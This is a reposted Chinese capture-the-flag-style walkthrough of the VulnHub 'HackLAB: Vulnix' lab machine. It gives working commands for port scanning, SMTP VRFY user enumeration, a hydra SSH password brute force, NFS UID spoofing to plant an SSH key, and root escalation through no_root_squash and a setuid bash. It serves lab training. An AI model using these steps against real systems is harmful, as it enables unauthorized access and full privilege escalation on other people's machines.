ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

VulnHub靶场篇3-hacklab-vulnix

2021-01-26 21:01:40  阅读:428  来源: 互联网

标签:exists 192.168 nfs VulnHub tcp vulnix 31.218 hacklab


靶机地址:HackLAB: Vulnix ~ VulnHub

文章主要是简要记录每一个过程,没有专门地对每一步截图,也许有些步骤中并不详细,会在文末附上相关详细的渗透文章

主机探测&端口扫描

端口扫描结果:

hhh@HHH:~/tmp$ nmap -A -sV -p- -T5 192.168.31.218
Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-26 17:35 CST
Nmap scan report for 192.168.31.218
Host is up (0.0017s latency).
Not shown: 65518 closed ports
PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 10:cd:9e:a0:e4:e0:30:24:3e:bd:67:5f:75:4a:33:bf (DSA)
|   2048 bc:f9:24:07:2f:cb:76:80:0d:27:a6:48:52:0a:24:3a (RSA)
|_  256 4d:bb:4a:c1:18:e8:da:d1:82:6f:58:52:9c:ee:34:5f (ECDSA)
25/tcp    open  smtp       Postfix smtpd
|_smtp-commands: vulnix, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, 
|_ssl-date: 2021-01-26T09:38:25+00:00; +6s from scanner time.
79/tcp    open  finger     Debian fingerd
| finger: Login     Name       Tty      Idle  Login Time   Office     Office Phone\x0D
|_vulnix               pts/0       5  Jan 26 08:28 (192.168.31.145)\x0D
110/tcp   open  pop3?
|_ssl-date: 2021-01-26T09:38:25+00:00; +6s from scanner time.
111/tcp   open  rpcbind    2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100003  2,3,4       2049/udp   nfs
|   100003  2,3,4       2049/udp6  nfs
|   100005  1,2,3      35659/tcp   mountd
|   100005  1,2,3      41858/udp6  mountd
|   100005  1,2,3      50793/tcp6  mountd
|   100005  1,2,3      54601/udp   mountd
|   100021  1,3,4      33047/udp6  nlockmgr
|   100021  1,3,4      47683/udp   nlockmgr
|   100021  1,3,4      56508/tcp   nlockmgr
|   100021  1,3,4      60816/tcp6  nlockmgr
|   100024  1          35356/udp6  status
|   100024  1          45360/udp   status
|   100024  1          55661/tcp   status
|   100024  1          55832/tcp6  status
|   100227  2,3         2049/tcp   nfs_acl
|   100227  2,3         2049/tcp6  nfs_acl
|   100227  2,3         2049/udp   nfs_acl
|_  100227  2,3         2049/udp6  nfs_acl
143/tcp   open  imap       Dovecot imapd
|_ssl-date: 2021-01-26T09:38:25+00:00; +6s from scanner time.
512/tcp   open  exec       netkit-rsh rexecd
513/tcp   open  login      OpenBSD or Solaris rlogind
514/tcp   open  tcpwrapped
993/tcp   open  ssl/imaps?
|_ssl-date: 2021-01-26T09:38:24+00:00; +5s from scanner time.
995/tcp   open  ssl/pop3s?
|_ssl-date: 2021-01-26T09:38:24+00:00; +5s from scanner time.
2049/tcp  open  nfs_acl    2-3 (RPC #100227)
35659/tcp open  mountd     1-3 (RPC #100005)
49537/tcp open  mountd     1-3 (RPC #100005)
55661/tcp open  status     1 (RPC #100024)
55696/tcp open  mountd     1-3 (RPC #100005)
56508/tcp open  nlockmgr   1-4 (RPC #100021)
Service Info: Host:  vulnix; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 5s, deviation: 0s, median: 5s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 328.66 seconds

信息搜集&权限获取

枚举用户

从25端口入手,通过smtp可以查看到用户
连接上25端口smtp服务

nc -nv 192.168.31.218 25
-n 指定ip地址
-v 详细输出

使用VRFY命令发现该命令未被禁用

VRFY vulnix
返回 250 说明有该用户

可以借此来枚举用户
SMTP用户枚举原理简介及相关工具 - FreeBuf网络安全行业门户
使用smtp-user-enum脚本,KALI2020没有该脚本,去github上下载即可 传送门 解压后使用
在该目录下输入下面命令,即可枚举出用户名

perl smtp-user-enum.pl -M VRFY -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t 192.168.31.218

结果:

######## Scan started at Tue Jan 26 17:47:04 2021 #########
192.168.31.218: bin exists
192.168.31.218: backup exists
192.168.31.218: daemon exists
192.168.31.218: games exists
192.168.31.218: gnats exists
192.168.31.218: irc exists
192.168.31.218: landscape exists
192.168.31.218: libuuid exists
192.168.31.218: list exists
192.168.31.218: lp exists
192.168.31.218: man exists
192.168.31.218: mail exists
192.168.31.218: messagebus exists
192.168.31.218: news exists
192.168.31.218: nobody exists
192.168.31.218: postfix exists
192.168.31.218: postmaster exists
192.168.31.218: proxy exists
192.168.31.218: root exists
192.168.31.218: ROOT exists                                                          
192.168.31.218: sshd exists                                                           
192.168.31.218: sync exists                                                           
192.168.31.218: sys exists                                                           
192.168.31.218: syslog exists                                                        
192.168.31.218: user exists                                                           
192.168.31.218: uucp exists                                                          
192.168.31.218: whoopsie exists
192.168.31.218: www-data exists
######## Scan completed at Tue Jan 26 17:47:05 2021 #########
28 results.

可以使用finger指令来验证该用户的存在

finger user@192.168.31.218 会显示有该用户
finger aa@192.168.31.218 会提示无该用户

NFS服务

nfs是一种可分散式的网络文件系统,在一个局域网内可以共享目录和文件

Linux下NFS配置及远程挂载 - 七彩乌云 - 博客园 (cnblogs.com)

提供了间接修改目录文件的可能

  1. 先查询服务器相关信息
    showmount命令查询NFS服务器的相关信息,可以得知需要挂载的是vulnix的home目录
    Linux系统如何使用showmount命令-系统之家 (xitongzhijia.net)
> showmount -e 192.168.31.218

Export list for 192.168.31.218:
/home/vulnix *
  1. 挂载该服务器的共享文件到本地上
    Linux挂载命令mount用法及参数详解 | 《Linux就该这么学》 (linuxprobe.com)
mount -t nfs 192.168.31.218:/home/vulnix /tmp/nfs
  1. 访问该目录,发现访问不了
    是要和vulnix有相同ID才可以访问
  2. 爆破user的密码
    得到结果user : letmein
hydra -l user -P /usr/share/wordlists/rockyou.txt -t 4 192.168.31.218 ssh
  1. 登录user账号
    查看到vulnix的id为2008
ssh user@192.168.31.218
  1. 本地创建id为2008的vulnix用户
useradd -u 2008 vulnix
passwd vulnix # 设置密码
  1. 切换用户进入本地的vulnix
su vulnix
  1. 生成公钥私钥
ssh-keygen
路径默认
密码任意输入
  1. 放置公钥到挂载目录上,实际就是vulnix的home目录
cp /.ssh/id_rsa.pub /tmp/nfs
  1. 私钥连接到真实vulnix用户上
    输入创建时的密码
ssh vulnix@192.168.31.218

权限提升

思路一:通过bash进行提权

  1. 修改nfs文件任意用户都可访问,在vulnix用户下修改/etc/exports文件
    sudoedit 命令 - 知乎 (zhihu.com)
sudoedit /etc/exports
将root_squash修改成no_root_squash
  1. 通过vulnix用户拷贝一份bash到挂载目录处
vulnix@vulnix:~$ cp /bin/bash
  1. 重启靶机,重新挂载该目录
umount /tmp/nfs
mount -t nfs 192.168.31.218:/home/vulnix /tmp/nfs
  1. 以本地的root权限进行访问挂载目录的nfs文件夹,修改该bash的权限
    使得vulnix可以直接执行
chmod 4777 bash
chown root.root bash

root@HHH:tmp/nfs# ls -al
总用量 932
drwxr-x--- 4 vulnix vulnix   4096 1月  26 16:28 .
drwxr-xr-x 4 hhh    hhh      4096 1月  26 16:20 ..
-rwsrwxrwx 1 root   root   920788 1月  26 16:27 bash
-rw------- 1 vulnix vulnix    119 1月  26 16:28 .bash_history
-rw-r--r-- 1 vulnix vulnix    220 4月   3  2012 .bash_logout
-rw-r--r-- 1 vulnix vulnix   3486 4月   3  2012 .bashrc
drwx------ 2 vulnix vulnix   4096 1月  26 05:21 .cache
-rw-r--r-- 1 vulnix vulnix    675 4月   3  2012 .profile
drwxr-xr-x 2 vulnix vulnix   4096 1月  26 05:20 .ssh
  1. *在用户vulnix中执行bash
./bash -p

不是很清楚-p是什么意思

  1. 前往root目录查看文件即可

总结

  1. smtp服务,用户枚举
  2. nfs文件系统(共享)
  3. 挂载服务器到本地
  4. 创建指定id号的用户
  5. 公钥私钥登录、ssh
  6. sudoedit使用
  7. 修改权限chmod、chown

标签:exists,192.168,nfs,VulnHub,tcp,vulnix,31.218,hacklab
来源: https://www.cnblogs.com/labster/p/14332386.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有